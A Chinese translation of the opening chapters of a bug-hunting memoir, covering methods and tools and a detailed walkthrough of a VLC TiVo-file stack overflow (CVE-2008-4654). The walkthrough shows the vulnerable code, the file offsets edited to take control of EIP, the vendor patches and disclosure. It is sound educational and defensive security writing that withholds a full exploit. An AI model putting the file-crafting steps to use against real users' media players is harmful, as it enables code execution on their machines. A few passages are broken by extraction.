BUG-猎人日记-全-
BUG 猎人日记(全)
原文:A Bug Hunter's Diary
译者:飞龙
引言
欢迎阅读《漏洞猎人日记》。本书描述了我过去几年中发现的七个有趣、真实存在的软件安全漏洞的生命周期。每一章都专注于一个漏洞。我将解释我是如何发现这个漏洞的,我采取了哪些步骤来利用它,以及供应商最终是如何修补它的。
本书的目标
本书的首要目标是让你对漏洞猎奇的世界有实际的了解。阅读本书后,你将更好地理解漏洞猎人寻找安全漏洞的方法,他们如何创建概念验证代码来测试漏洞,以及他们如何向供应商报告漏洞。
本书的次要目标是讲述这七个漏洞背后的故事。我认为它们值得被讲述。
适合阅读本书的人群
本书面向安全研究人员、安全顾问、C/C++程序员、渗透测试人员以及任何想要深入了解漏洞猎奇世界的其他人。为了最大限度地利用本书,你应该对 C 编程语言有扎实的掌握,并且熟悉 x86 汇编。
如果你刚开始进行漏洞研究,本书将帮助你熟悉狩猎、利用和报告软件漏洞的不同方面。如果你已经是一名经验丰富的漏洞猎人,本书将为你提供对熟悉挑战的新视角,并可能让你在阅读时忍俊不禁——或者露出会心的微笑。
免责声明
本书的目标是教会读者如何识别、防范和减轻软件安全漏洞。理解用于寻找和利用漏洞的技术对于彻底掌握根本问题和适当的缓解技术是必要的。自 2007 年以来,在我的祖国德国,创建或分发“黑客工具”已不再合法。这些工具包括简单的端口扫描器以及有效的漏洞利用代码。因此,为了遵守法律,本书中不提供完整的有效漏洞利用代码。示例仅展示了用于控制易受攻击程序执行流程(指令指针或程序计数器控制)的步骤。
资源
本书引用的所有 URL 以及代码示例、勘误表、更新和其他信息都可以在www.trapkit.de/books/bhd/找到。
第一章:漏洞挖掘
漏洞挖掘 是在软件或硬件中寻找错误的过程。然而,在这本书中,术语 漏洞挖掘 将专门用来描述寻找安全关键软件错误的过程。安全关键错误,也称为软件安全漏洞,允许攻击者远程损害系统、提升本地权限、跨越权限边界,或者以其他方式对系统造成破坏。
大约十年前,寻找软件安全漏洞主要是作为一种爱好或作为一种吸引媒体关注的方式。当人们意识到可以从漏洞中获利时,漏洞挖掘进入了主流。¹
软件安全漏洞,以及利用这些漏洞的程序(称为 漏洞利用),得到了很多媒体报道。此外,许多书籍和互联网资源描述了利用这些漏洞的过程,并且关于如何披露漏洞发现的问题一直在持续辩论。尽管如此,关于漏洞挖掘过程本身的出版物却出奇地少。尽管像 软件漏洞 或 漏洞利用 这样的术语被广泛使用,但许多人——甚至许多信息安全专业人士——并不知道漏洞挖掘者是如何在软件中找到安全漏洞的。
如果你问 10 个不同的漏洞挖掘者他们如何搜索软件中的安全相关错误,你很可能会得到 10 个不同的答案。这就是为什么至今还没有,可能永远也不会有一个“食谱”式的漏洞挖掘指南。与其试图编写一本通用的指令书而失败,我将描述我用来在现实生活中的软件中找到特定错误的方法和技术。希望这本书能帮助你发展自己的风格,以便你能够找到一些有趣的、安全关键的软件错误。
1.1 为了乐趣和利益
寻找漏洞的人有不同的目标和动机。一些独立的漏洞挖掘者希望提高软件安全性,而其他人则寻求通过名声、媒体关注、报酬或就业来获得个人收益。一家公司可能希望找到漏洞,以便将其用作营销活动的素材。当然,总有那些坏苹果,他们想找到新的方法来入侵系统或网络。另一方面,有些人只是出于乐趣——或者为了拯救世界。
1.2 常见技术
虽然没有正式的文档描述标准的 bug 寻找过程,但确实存在一些常见的技巧。这些技巧可以分为两类:静态和动态。在静态分析中,也称为静态代码分析,检查软件的源代码或二进制的反汇编,但不执行。相反,动态分析涉及在软件执行时进行调试或模糊测试。这两种技术都有其优缺点,大多数 bug 猎人都会使用静态和动态技术的组合。
我偏爱的技巧
大多数时候,我更喜欢静态分析方法。我通常一行一行地阅读目标软件的源代码或反汇编,并试图理解它。然而,从头到尾阅读所有代码通常并不实用。当我寻找 bug 时,我通常首先尝试确定用户影响的输入数据是如何通过外部世界的接口进入软件的。这可能是网络数据、文件数据或执行环境中的数据,仅举几个例子。
接下来,我研究输入数据在软件中传递的不同方式,同时寻找对数据进行操作的任何可能可利用的代码。有时我能够仅通过阅读源代码(见第二章和strcat(),以寻找可能的缓冲区溢出。或者,你也可以在反汇编中搜索movsx`汇编指令,以找到符号扩展漏洞。如果你发现了一个可能存在漏洞的代码位置,你可以通过回溯代码来查看这些代码片段是否暴露了任何从应用程序入口点可访问的漏洞。我很少使用这种方法,但其他 bug 猎人对此深信不疑。
模糊测试
一种被称为 模糊测试 的完全不同的漏洞搜索方法。模糊测试是一种动态分析技术,它通过向应用程序提供格式错误或意外的输入来测试应用程序。虽然我不是模糊测试和模糊测试框架的专家——我知道一些漏洞搜索者开发了他们自己的模糊测试框架,并使用他们的模糊测试工具找到了大部分漏洞——但我有时会使用这种方法来确定用户影响的输入何时进入软件,有时也会用它来寻找漏洞(见第八章第八章。铃声大屠杀)。
你可能想知道如何使用模糊测试来识别用户影响的输入何时进入软件。想象一下,你有一个以二进制形式存在的复杂应用程序,你想检查其中的漏洞。识别这种复杂应用程序的入口点并不容易,但复杂的软件在处理格式错误的输入数据时往往会崩溃。这对于解析数据文件的软件(如办公产品、媒体播放器或网络浏览器)来说同样适用。大多数这些崩溃与安全无关(例如,浏览器中的除以零错误),但它们通常提供了一个我可以开始寻找用户影响的输入数据的入口点。
进一步阅读
这些只是可用于在软件中查找错误的技术和方法的少数几个。有关在源代码中查找安全漏洞的更多信息,我推荐 Mark Dowd、John McDonald 和 Justin Schuh 的 软件安全评估艺术:识别和预防软件漏洞(Addison-Wesley,2007)。如果你想了解更多关于模糊测试的信息,请参阅 Michael Sutton、Adam Greene 和 Pedram Amini 的 模糊测试:暴力漏洞发现(Addison-Wesley,2007)。
1.3 内存错误
本书描述的漏洞有一个共同点:它们都导致可利用的内存错误。这种内存错误发生在进程、线程或内核是
-
使用它不拥有的内存(例如,如第 A.2 节所述的空指针解引用)
-
使用比已分配的更多的内存(例如,如第 A.1 节所述的缓冲区溢出)
-
使用未初始化的内存(例如,未初始化的变量)^([2])
-
使用有缺陷的堆内存管理(例如,双重释放)^([3])
记忆错误通常发生在使用像显式内存管理或指针算术这样的强大 C/C++ 功能时使用不当。
一种被称为 内存损坏 的内存错误子类别发生在进程、线程或内核修改它不拥有的内存位置,或者当修改损坏了内存位置的状态时。
如果你对这些内存错误不熟悉,我建议你查看 A.1、A.2 和 A.3 节。这些章节描述了本书中讨论的编程错误和漏洞的基本知识。
除了可利用的内存错误之外,还存在数十种其他漏洞类别。这包括逻辑错误和特定于 Web 的漏洞,如跨站脚本、跨站请求伪造和 SQL 注入,仅举几例。然而,这些其他漏洞类别不是本书的主题。本书中讨论的所有漏洞都是可利用内存错误的结果。
1.4 行业工具
在寻找漏洞或构建用于测试它们的利用程序时,我需要一种方法来查看应用程序的工作原理。我通常使用调试器和反汇编器来获得这种内部视角。
调试器
调试器通常提供方法来附加到用户空间进程或内核,读写寄存器和内存中的值,并使用诸如断点或单步执行等特性来控制程序流程。每个操作系统通常都附带自己的调试器,但还有几个第三方调试器可供选择。表 1-1 列出了不同的操作系统平台和本书中使用的调试器。
表 1-1. 本书中使用的调试器
| 操作系统 | 调试器 | 内核调试 |
|---|---|---|
| Microsoft | WinDbg (来自微软的官方调试器) | yes |
| Windows | OllyDbg and its variant Immunity Debugger | no |
| Linux | The GNU Debugger (gdb) | yes |
| Solaris | The Modular Debugger (mdb) | yes |
| Mac OS X | The GNU Debugger (gdb) | yes |
| Apple iOS | The GNU Debugger (gdb) | yes |
这些调试器将被用来识别、分析和利用我所发现的漏洞。有关一些调试器命令速查表,请参阅 B.1、B.2 和 B.4 节。
反汇编器
如果你想审计一个应用程序但没有访问源代码,你可以通过读取应用程序的汇编代码来分析程序的二进制文件。尽管调试器具有反汇编进程或内核代码的能力,但它们通常并不特别容易或直观地使用。填补这一空白的程序是交互式反汇编器专业版,也称为 IDA Pro.^([4]) IDA Pro 支持超过 50 种处理器系列,并提供完全交互性、可扩展性和代码图形化。如果你想审计程序二进制文件,IDA Pro 是必备的。有关 IDA Pro 及其所有功能的详尽介绍,请参阅 Chris Eagle 的IDA Pro 书籍,第 2 版(No Starch Press,2011 年)。
1.5 EIP = 41414141
注意
指令指针/程序计数器:
-
EIP—32 位指令指针 (IA-32)
-
RIP—64 位指令指针 (Intel 64)
-
R15 或 PC—苹果 iPhone 上使用的 ARM 架构
为了说明我所发现的漏洞的安全影响,我将讨论通过控制 CPU 的指令指针(IP)来获取受漏洞程序执行流程控制所需的步骤。指令指针或程序计数器(PC)寄存器包含下一个要执行的指令在当前代码段中的偏移量.^([5]) 如果你控制了这个寄存器,你就完全控制了受漏洞过程执行流程。为了演示指令指针控制,我将修改寄存器的值为0x41414141(ASCII 字符AAAA的十六进制表示),0x41424344(ASCII 字符ABCD的十六进制表示),或类似值。所以如果你在以下章节中看到EIP = 41414141,这意味着我已经控制了受漏洞程序。
一旦你掌握了指令指针的控制权,就有许多方法可以将它转变为一个完全工作、武器化的漏洞利用。有关漏洞开发过程的信息,你可以参考乔恩·埃里克森的《黑客:漏洞利用的艺术》,第 2 版(No Starch Press,2008 年),或者你可以在 Google 中输入“exploit writing”并浏览在线上可用的大量材料。
1.6 最后的注意事项
在本章中,我们覆盖了大量的内容,你可能会有很多疑问。不用担心——这是一个很好的位置。接下来的七个日记章节将更深入地探讨这里介绍的主题,并回答你许多问题。你还可以阅读附录,以获取本书中讨论的各种主题的背景信息。
注意
日记章节并非按时间顺序排列。它们是根据主题内容进行编排的,以便概念相互关联。
备注
^([1])
^([2])
^([3])
^([4])
^([5])
^([1]) 请参阅佩德拉姆·阿米尼的“Mostrame la guita! Adventures in Buying Vulnerabilities,”2009 年,docs.google.com/present/view?id=dcc6wpsd_20ghbpjxcr;查理·米勒的“The Legitimate Vulnerability Market: Inside the Secretive World of 0-day Exploit Sales,”2007 年,weis2007.econinfosec.org/papers/29.pdf;iDefense Labs Vulnerability Contribution Program,labs.idefense.com/vcpportal/login.html;TippingPoint 的 Zero Day Initiative,www.zerodayinitiative.com/.
^([2]) 请参阅丹尼尔·霍德森的“未初始化变量:查找、利用、自动化”(演示文稿,Ruxcon,2008),felinemenace.org/~mercy/slides/RUXCON2008-UninitializedVariables.pdf.
^([3]) 请参阅通用弱点枚举,CWE 列表,CWE - 单个字典定义(2.0),CWE-415: Double Free,网址为 cwe.mitre.org/data/definitions/415.html.
^([4]) 请参阅 www.hex-rays.com/idapro/.
^([5]) 请参阅 Intel® 64 和 IA-32 架构软件开发者手册,第一卷:基本架构,网址为 www.intel.com/products/processor/manuals/.
第二章。回到 90 年代
备注
星期日,2008 年 10 月 12 日
亲爱的日记,
我今天查看了 VideoLAN 的流行媒体播放器 VLC 的源代码。我喜欢 VLC,因为它支持所有不同类型的媒体文件,并且在我的所有喜欢的操作系统平台上运行。但是支持所有这些不同的媒体文件格式也有缺点。VLC 做了很多解析,这通常意味着有很多等待被发现的问题。
备注
根据 Dick Grune 和 Ceriel J.H. Jacobs 所著的《解析技术:实用指南》,“解析是根据给定的语法对线性表示进行结构化的过程。”解析器是一种软件,它将原始的字节串分解成单个单词和语句。根据数据格式,解析可能是一个非常复杂且容易出错的任务。
在我熟悉了 VLC 的内部工作原理后,找到第一个漏洞只花了大约半天时间。这是一个经典的堆栈缓冲区溢出(见附录 A.1)。这个漏洞发生在解析一个名为 TiVo 的媒体文件格式时,这是 TiVo 数字录制设备的本地格式。在发现这个错误之前,我从未听说过这种文件格式,但这并没有阻止我利用它。
2.1 漏洞发现
这里是我发现漏洞的方法:
-
第 1 步:生成 VLC 解复用器的列表。
-
第 2 步:识别输入数据。
-
第 3 步:追踪输入数据。
我将在以下几节中详细解释这个过程。
第 1 步:生成 VLC 解复用器的列表
备注
我在以下所有步骤中使用了 Microsoft Windows Vista SP1 (32-bit)平台上的 VLC 0.9.4。
在下载并解压缩 VLC 的源代码后,我生成了媒体播放器可用的解复用器列表。
备注
在数字视频中,“解复用”或“解复用”是指将音频和视频以及其他数据从视频流或容器中分离出来的过程,以便播放文件。解复用器是一种提取此类流或容器组件的软件。
生成解复用器的列表并不太难,因为 VLC 将大多数解复用器分开在不同的 C 文件中,位于目录*vlc-0.9.4\modules\demux*(见图 2-1)。

图 2-1. VLC 解复用器列表
第 2 步:识别输入数据
接下来,我试图识别由解复用器处理的输入数据。在阅读了一些 C 代码后,我偶然发现了一个结构,它在每个解复用器包含的头文件中声明。
源代码文件
vlc-0.9.4\include\vlc_demux.h
[..]
`41 struct demux_t`
42 {
43 VLC_COMMON_MEMBERS
44
45 /* Module properties */
46 module_t *p_module;
47
48 /* eg informative but needed (we can have access+demux) */
49 char *psz_access;
50 char *psz_demux;
51 char *psz_path;
52
`53 /* input stream */`
`54 stream_t *s; /* NULL in case of a access+demux in one */`
[..]
在第 54 行,结构元素s被声明并描述为输入流。这正是我所寻找的:一个指向由解复用器处理的输入数据的引用。
第 3 步:追踪输入数据
在我发现demux_t结构和它的输入流元素后,我在解复用器文件中搜索对它的引用。输入数据通常通过p_demux->s来引用,如下面的第 1623 行和第 1641 行所示。当我找到这样的引用时,我在寻找编码错误的同时追踪输入数据。使用这种方法,我发现了以下漏洞。
源代码文件
vlc-0.9.4\modules\demux\Ty.c
函数
parse_master()
[..]
1623 static void parse_master(`demux_t *p_demux`)
1624 {
1625 demux_sys_t *p_sys = p_demux->p_sys;
`1626 uint8_t mst_buf[32];`
`1627 int i, i_map_size;`
1628 int64_t i_save_pos = stream_Tell(p_demux->s);
1629 int64_t i_pts_secs;
1630
1631 /* Note that the entries in the SEQ table in the stream may have
1632 different sizes depending on the bits per entry. We store them
1633 all in the same size structure, so we have to parse them out one
1634 by one. If we had a dynamic structure, we could simply read the
1635 entire table directly from the stream into memory in place. */
1636
1637 /* clear the SEQ table */
1638 free(p_sys->seq_table);
1639
1640 /* parse header info */
`1641 stream_Read(p_demux->s, mst_buf, 32);`
`1642 i_map_size = U32_AT(&mst_buf[20]); /* size of bitmask, in bytes */`
1643 p_sys->i_bits_per_seq_entry = i_map_size * 8;
1644 i = U32_AT(&mst_buf[28]); /* size of SEQ table, in bytes */
1645 p_sys->i_seq_table_size = i / (8 + i_map_size);
1646
1647 /* parse all the entries */
1648 p_sys->seq_table = malloc(p_sys->i_
seq_table_size * sizeof(ty_seq_table_t));
1649 for (i=0; i<p_sys->i_seq_table_size; i++) {
`1650 stream_Read(p_demux->s, mst_buf, 8 + i_map_size);`
[..]
第 1641 行的stream_Read()函数从 TiVo 媒体文件(通过p_demux->s引用)中读取 32 字节用户控制的数据并将其存储在堆栈缓冲区mst_buf中,该缓冲区在第 1626 行声明。第 1642 行的U32_AT宏随后从mst_buf中提取一个用户控制值并将其存储在有符号整型变量i_map_size中。在第 1650 行,stream_Read()函数再次将媒体文件中的用户控制数据存储在堆栈缓冲区mst_buf中。但这次,stream_Read()使用用户控制的i_map_size值来计算要复制到mst_buf中的数据的大小。这导致了一个直接的堆栈缓冲区溢出(见第 A.1 节),它很容易被利用。
这里是漏洞的解剖结构,如图 2-2 所示图 2-2。
-
将 32 字节用户控制的 TiVo 媒体文件数据复制到堆栈缓冲区
mst_buf中。目标缓冲区的大小为 32 字节。 -
从缓冲区中提取了 4 字节用户控制的数据并存储在
i_map_size中。 -
用户控制的 TiVo 媒体文件数据再次被复制到
mst_buf中。这次,复制数据的尺寸是通过i_map_size计算的。如果i_map_size的值大于 24,将发生堆栈缓冲区溢出(见第 A.1 节)。
2.2 利用
为了利用这个漏洞,我执行了以下步骤:
-
第 1 步:找到样本 TiVo 电影文件。
-
第 2 步:找到到达有漏洞代码的代码路径。
-
第 3 步:操纵 TiVo 电影文件以使 VLC 崩溃。
-
第 4 步:操纵 TiVo 电影文件以控制
EIP。

图 2-2. 从输入到堆栈缓冲区溢出的漏洞概述
利用文件格式漏洞的方法不止一种。你可以从头开始创建具有正确格式的文件,或者你可以操纵一个有效的现有文件。在这个例子中,我选择了后者。
第 1 步:找到样本 TiVo 电影文件
注意
该网站 samples.mplayerhq.hu/ 是搜索各种多媒体文件格式样本的好起点
首先,我从以下网址下载了以下 TiVo 样本文件:samples.mplayerhq.hu/。
`$ wget http://samples.mplayerhq.hu/TiVo/test-dtivo-junkskip.ty%2b`
--2008-10-12 21:12:25-- http://samples.mplayerhq.hu/TiVo/test-dtivo-junkskip.ty%2b
Resolving samples.mplayerhq.hu... 213.144.138.186
Connecting to samples.mplayerhq.hu|213.144.138.186|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5242880 (5.0M) [text/plain]
Saving to: `test-dtivo-junkskip.ty+'
100%[=========================>] 5,242,880 240K/s in 22s
2008-10-12 21:12:48 (232 KB/s) - `test-dtivo-junkskip.ty+' saved [5242880/5242880]
第 2 步:找到到达有漏洞代码的代码路径
我找不到有关 TiVo 文件格式规范的文档,因此我阅读了源代码以找到到达 parse_master() 中易受攻击代码的路径。
如果 VLC 加载了 TiVo 文件,则会采取以下执行流程(所有源代码引用均来自 VLC 的 vlc-0.9.4\modules\demux\Ty.c)。首先调用的相关函数是 Demux():
[..]
`386 static int Demux( demux_t *p_demux )`
387 {
388 demux_sys_t *p_sys = p_demux->p_sys;
389 ty_rec_hdr_t *p_rec;
390 block_t *p_block_in = NULL;
391
392 /*msg_Dbg(p_demux, "ty demux processing" );*/
393
394 /* did we hit EOF earlier? */
395 if( p_sys->eof )
396 return 0;
397
398 /*
399 * what we do (1 record now.. maybe more later):
400 * - use stream_Read() to read the chunk header & record headers
401 * - discard entire chunk if it is a PART header chunk
402 * - parse all the headers into record header array
403 * - keep a pointer of which record we're on
404 * - use stream_Block() to fetch each record
405 * - parse out PTS from PES headers
406 * - set PTS for data packets
407 * - pass the data on to the proper codec via es_out_Send()
408
409 * if this is the first time or
410 * if we're at the end of this chunk, start a new one
411 */
412 /* parse the next chunk's record headers */
413 if( p_sys->b_first_chunk || p_sys->i_cur_rec >= p_sys->i_num_recs )
414 {
`415 if( get_chunk_header(p_demux) == 0 )`
[..]
在第 395 行和 413 行进行了一些合理性检查后,在第 415 行调用了函数 get_chunk_header()。
[..]
`112 #define TIVO_PES_FILEID ( 0xf5467abd )`
[..]
1839 static int get_chunk_header(demux_t *p_demux)
1840 {
1841 int i_readSize, i_num_recs;
1842 uint8_t *p_hdr_buf;
1843 const uint8_t *p_peek;
1844 demux_sys_t *p_sys = p_demux->p_sys;
1845 int i_payload_size; /* sum of all records' sizes */
1846
1847 msg_Dbg(p_demux, "parsing ty chunk #%d", p_sys->i_cur_chunk );
1848
1849 /* if we have left-over filler space from the last chunk, get that */
1850 if (p_sys->i_stuff_cnt > 0) {
1851 stream_Read( p_demux->s, NULL, p_sys->i_stuff_cnt);
1852 p_sys->i_stuff_cnt = 0;
1853 }
1854
1855 /* read the TY packet header */
`1856 i_readSize = stream_Peek( p_demux->s, &p_peek, 4 );`
1857 p_sys->i_cur_chunk++;
1858
1859 if ( (i_readSize < 4) || ( U32_AT(&p_peek[ 0 ] ) == 0 ))
1860 {
1861 /* EOF */
1862 p_sys->eof = 1;
1863 return 0;
1864 }
1865
1866 /* check if it's a PART Header */
`1867 if( U32_AT( &p_peek[ 0 ] ) == TIVO_PES_FILEID )`
1868 {
1869 /* parse master chunk */
`1870 parse_master(p_demux);`
1871 return get_chunk_header(p_demux);
1872 }
[..]
在 get_chunk_header() 的第 1856 行,从 TiVo 文件中获取的用户控制数据被分配给指针 p_peek。然后,在第 1867 行,进程检查由 p_peek 指向的文件数据是否等于 TIVO_PES_FILEID(在第 112 行定义为 0xf5467abd)。如果是这样,易受攻击的函数 parse_master() 就会被调用(见第 1870 行)。
要通过此代码路径到达易受攻击的函数,TiVo 示例文件必须包含 TIVO_PES_FILEID 的值。我在 TiVo 示例文件中搜索 TIVO_PES_FILEID 模式,并在文件偏移量 0x00300000 处找到它(见 图 2-3)。

图 2-3. TiVo 示例文件中的 TIVO_PES_FILEID 模式
根据 parse_master() 函数的信息(见以下源代码片段),i_map_size 的值应该位于相对于在文件偏移量 0x00300000 找到的 TIVO_PES_FILEID 模式的偏移量 20 (0x14) 处。
[..]
1641 stream_Read(p_demux->s, mst_buf, 32);
1642 i_map_size = U32_AT(&mst_buf[`20`]); /* size of bitmask, in bytes */
[..]
在这一点上,我发现我下载的 TiVo 示例文件已经触发了易受攻击的 parse_master() 函数,因此不需要调整示例文件。太好了!
第 3 步:操纵 TiVo 电影文件以使 VLC 崩溃
注意
从以下链接获取易受攻击的 Windows 版本 VLC download.videolan.org/pub/videolan/vlc/0.9.4/win32/.
接下来,我尝试操纵 TiVo 示例文件以使 VLC 崩溃。为了实现这一点,我只需更改示例文件偏移量 i_map_size 处的 4 字节值(在这个例子中是 0x00300014)。
如 图 2-4 所示,我将文件偏移 0x00300014 处的 32 位值从 0x00000002 更改为 0x000000ff。新的 255 字节(0xff)值应该足以溢出 32 字节栈缓冲区,并覆盖在栈上缓冲区之后存储的返回地址(见附录 A.1)。接下来,我在使用 Immunity Debugger 调试媒体播放器的同时,用 VLC 打开了修改后的样本文件。8] 电影文件像以前一样播放,但几秒钟后——一旦处理了修改后的文件数据——VLC 播放器崩溃,结果如 图 2-5 所示。

图 2-4. TiVo 样本文件中 i_map_size 的新值

图 2-5. 在 Immunity Debugger 中的 VLC 访问违规
如预期的那样,在解析格式错误的 TiVo 文件时,VLC 发生了崩溃。这次崩溃非常有希望,因为指令指针(EIP 寄存器)指向了一个无效的内存位置(在调试器的状态栏中显示为“执行[20030000]时访问违规”)。这可能意味着我可以轻易地控制指令指针。
第 4 步:操纵 TiVo 电影文件以控制 EIP
我的下一步是确定样本文件中哪些字节实际上覆盖了当前栈帧的返回地址,以便我可以控制 EIP。调试器指出,在崩溃时 EIP 的值为 0x20030000。为了确定这个值所在的偏移量,我可以尝试计算确切的文件偏移量,或者我可以简单地搜索文件以查找字节模式。我选择了后者,并从文件偏移 0x00300000 开始。我在文件偏移 0x0030005c 找到了所需的字节序列,以小端表示法表示,并将这 4 个字节更改为值 0x41414141(如 图 2-6 所示)。

图 2-6. TiVo 样本文件中 EIP 的新值
然后,我在调试器中重新启动了 VLC 并打开了新文件(见 图 2-7)。

图 2-7. VLC 播放器的 EIP 控制
EIP = 41414141 . . . 任务 EIP 控制[完成]!我能够构建一个工作漏洞利用程序,旨在实现任意代码执行,使用了众所周知的 jmp reg 技术,如 David Litchfield 在“Linux 和 Windows 之间漏洞利用方法的变化”中所述。^([9])
由于德国对此有严格的法律,我不会提供完整的漏洞利用程序,但如果您感兴趣,您可以观看我录制的一段简短视频,展示漏洞利用程序的实际操作。^([10])
2.3 漏洞修复
注意
星期六,2008 年 10 月 18 日
既然我已经发现了一个安全漏洞,我可以通过几种方式来披露它。我可以联系软件开发者,并“负责任地”告诉他我所发现的内容,并帮助他创建补丁。这个过程被称为负责任披露。由于这个术语暗示其他披露方式是不负责任的,这并不一定正确,它正在逐渐被协调披露所取代。
另一方面,我可以将我的发现卖给一个漏洞经纪人,让他通知软件开发者。今天,商业漏洞市场的两个主要参与者是 Verisign 的 iDefense Labs,拥有其漏洞贡献计划(VCP),以及 Tipping Point 的零日漏洞计划(ZDI)。VCP 和 ZDI 都遵循协调披露实践,并与受影响的供应商合作。
另一个选项是完全披露。如果我选择完全披露,我将不会通知供应商,而是将漏洞信息公开发布。当然,还有其他的披露选项,但它们背后的动机通常并不涉及修复漏洞(例如,在地下市场中出售发现的结果)。^([11])
在本章所述的 VLC 漏洞的情况下,我选择了协调披露。换句话说,我通知了 VLC 维护者,向他们提供了必要的信息,并就公开披露的时间与他们进行了协调。
在我通知 VLC 维护者关于这个漏洞之后,他们开发了以下补丁来解决这个问题:^([12])
--- a/modules/demux/ty.c
+++ b/modules/demux/ty.c
@@ −1639,12 +1639,14 @@ static void parse_master(demux_t *p_demux)
/* parse all the entries */
p_sys->seq_table = malloc(p_sys->i_seq_table_size * sizeof(ty_seq_table_t));
for (i=0; i<p_sys->i_seq_table_size; i++) {
`- stream_Read(p_demux->s, mst_buf, 8 + i_map_size);`
`+ stream_Read(p_demux->s, mst_buf, 8);`
p_sys->seq_table[i].l_timestamp = U64_AT(&mst_buf[0]);
if (i_map_size > 8) {
msg_Err(p_demux, "Unsupported SEQ bitmap size in master chunk");
`+ stream_Read(p_demux->s, NULL, i_map_size);`
memset(p_sys->seq_table[i].chunk_bitmask, i_map_size, 0);
} else {
`+ stream_Read(p_demux->s, mst_buf + 8, i_map_size);`
memcpy(p_sys->seq_table[i].chunk_bitmask, &mst_buf[8], i_map_size);
}
}
这些更改相当直接。之前易受攻击的 stream_Read() 调用现在使用一个固定大小的值,并且当 i_map_size 的用户控制值小于或等于 8 时,它仅作为 stream_Read() 的大小值使用。这是一个明显的漏洞的简单修复。
但是等等——漏洞真的消失了吗?变量 i_map_size 仍然是 signed int 类型。如果为 i_map_size 提供一个大于或等于 0x80000000 的值,它将被解释为负数,并且补丁中 else 分支的 stream_Read() 和 memcpy() 函数中仍然会发生溢出(有关 unsigned int 和 signed int 范围的描述,请参阅第 A.3 节)。我还向 VLC 维护者报告了这个问题,导致另一个补丁的产生:^([13])
[..]
@@ −1616,7 +1618,7 @@ static void parse_master(demux_t *p_demux)
{
demux_sys_t *p_sys = p_demux->p_sys;
uint8_t mst_buf[32];
`- int i, i_map_size;`
`+ uint32_t i, i_map_size;`
int64_t i_save_pos = stream_Tell(p_demux->s);
int64_t i_pts_secs;
[..]
现在,i_map_size 是无符号整型的类型,这个漏洞已经修复。也许你已经注意到 parse_master() 函数中还存在另一个缓冲区溢出漏洞。我也向 VLC 维护者报告了该漏洞。如果您找不到它,请仔细查看 VLC 维护者提供的第二个补丁,该补丁也修复了这个漏洞。
令我惊讶的一件事是,Windows Vista 所赞誉的利用缓解技术都无法阻止我通过 jmp reg 技巧控制 EIP 并从堆栈中执行任意代码。安全 cookie 或/GS 功能本应阻止返回地址的操纵。此外,ASLR 或 NX/DEP 本应阻止任意代码执行。(有关所有这些缓解技术的详细描述,请参阅 C.1 节。)
为了解开这个谜团,我下载了 Process Explorer^([14]) 并将其配置为显示进程的 DEP 和 ASLR 状态。
注意
要将 Process Explorer 配置为显示进程的 DEP 和 ASLR 状态,我在视图中添加了以下列:视图 ▸ 选择列 ▸ DEP 状态 和 视图 ▸ 选择列 ▸ ASLR 启用。此外,我将下窗格设置为查看进程的 DLL,并添加了“ASLR 启用”列。
Process Explorer 的输出,如图 图 2-8 所示,表明 VLC 及其模块既不使用 DEP 也不使用 ASLR(这由 DEP 和 ASLR 列中的空值表示)。我进一步调查了为什么 VLC 进程不使用这些缓解技术。

图 2-8. Process Explorer 中的 VLC
DEP 可以通过系统策略和特殊的 API 以及编译时选项进行控制(有关 DEP 的更多信息,请参阅微软的安全研究博客^([15]))。客户端操作系统(如 Windows Vista)的默认系统级 DEP 策略称为 OptIn。在这种操作模式下,只有明确选择加入 DEP 的进程才会启用 DEP。因为我使用的是默认安装的 32 位 Windows Vista,所以系统级 DEP 策略应设置为 OptIn。为了验证这一点,我使用从提升命令提示符中的 bcdedit.exe 控制台应用程序:
C:\Windows\system32>`bcdedit /enum | findstr nx`
nx OptIn
命令的输出显示,系统确实配置为使用 DEP 的 OptIn 操作模式,这解释了为什么 VLC 不使用这种缓解技术:进程根本未选择加入 DEP。
有不同的方法可以将进程加入 DEP。例如,您可以在编译时使用适当的链接器开关 (/NXCOMPAT),或者可以使用 SetProcessDEPPolicy API 以编程方式允许应用程序加入 DEP。
为了了解 VLC 使用的与安全相关的编译时选项的概述,我使用 LookingGlass 扫描了媒体播放器的可执行文件(见图图 2-9).^([16])
注意
2009 年,Microsoft 发布了一个名为 BinScope 二进制分析器的工具,它具有非常直观且易于使用的界面,用于分析二进制文件中的各种安全保护.^([17])
LookingGlass 显示,用于 ASLR 或 DEP 的链接器选项都没有用于编译 VLC.^([18]) VLC 媒体播放器的 Windows 版本是使用 Cygwin^([19])环境构建的,这是一个旨在在 Windows 操作系统中提供类似 Linux 外观和感觉的一组实用程序。由于我提到的链接器选项仅由 Microsoft 的 Visual C++ 2005 SP1 及更高版本支持(因此 Cygwin 不支持),它们不被 VLC 支持并不令人惊讶。
Microsoft Visual C++ 2005 SP1 及更高版本的利用缓解技术:
-
/GS 用于堆栈 cookie/卡
-
/DYNAMICBASE 用于 ASLR。
-
/NXCOMPAT 用于 DEP/NX
-
/SAFESEH 用于异常处理程序保护

图 2-9. LookingGlass 对 VLC 的扫描结果
请参阅以下 VLC 构建说明的摘录:
[..]
Building VLC from the source code
=================================
[..]
- natively on Windows, using cygwin (www.cygwin.com) with or
without the POSIX emulation layer. This is the preferred way to compile
vlc if you want to do it on Windows.
[..]
UNSUPPORTED METHODS
-------------------
[..]
- natively on Windows, using Microsoft Visual Studio. This will not work.
[..]
在撰写本文时,VLC 没有使用 Windows Vista 或更高版本提供的任何利用缓解技术。因此,在 Windows 下的每个 VLC 漏洞今天都像 20 年前一样容易利用,那时这些安全功能并没有广泛部署或得到支持。
2.4 经验教训
作为程序员:
-
永远不要相信用户输入(这包括文件数据、网络数据等)。
-
永远不要使用未经验证的长度或大小值。
-
在可能的情况下,始终使用现代操作系统提供的利用缓解技术。在 Windows 下,软件必须使用 Microsoft 的 Visual C++ 2005 SP1 或更高版本的编译器进行编译,并必须使用适当的编译器和链接器选项。此外,Microsoft 还发布了增强缓解体验工具包,^([20]) 允许在不重新编译的情况下应用特定的缓解技术。
作为媒体播放器的用户:
- 永远不要相信媒体文件扩展名(见下文第 2.5 节)。
2.5 补充说明
注意
2008 年 10 月 20 日星期一
由于漏洞已修复并且现在有了一个新的 VLC 版本,我在我的网站上发布了一份详细的安全警告(图 2-10 显示了时间线).^([21]) 该漏洞被分配了 CVE-2008-4654。
注意
根据 MITRE 提供的文档,^([22]) 常见漏洞和暴露标识符(也称为CVE 名称、CVE 编号、CVE-IDs和CVEs)是“公开已知信息安全漏洞的唯一、通用标识符。”

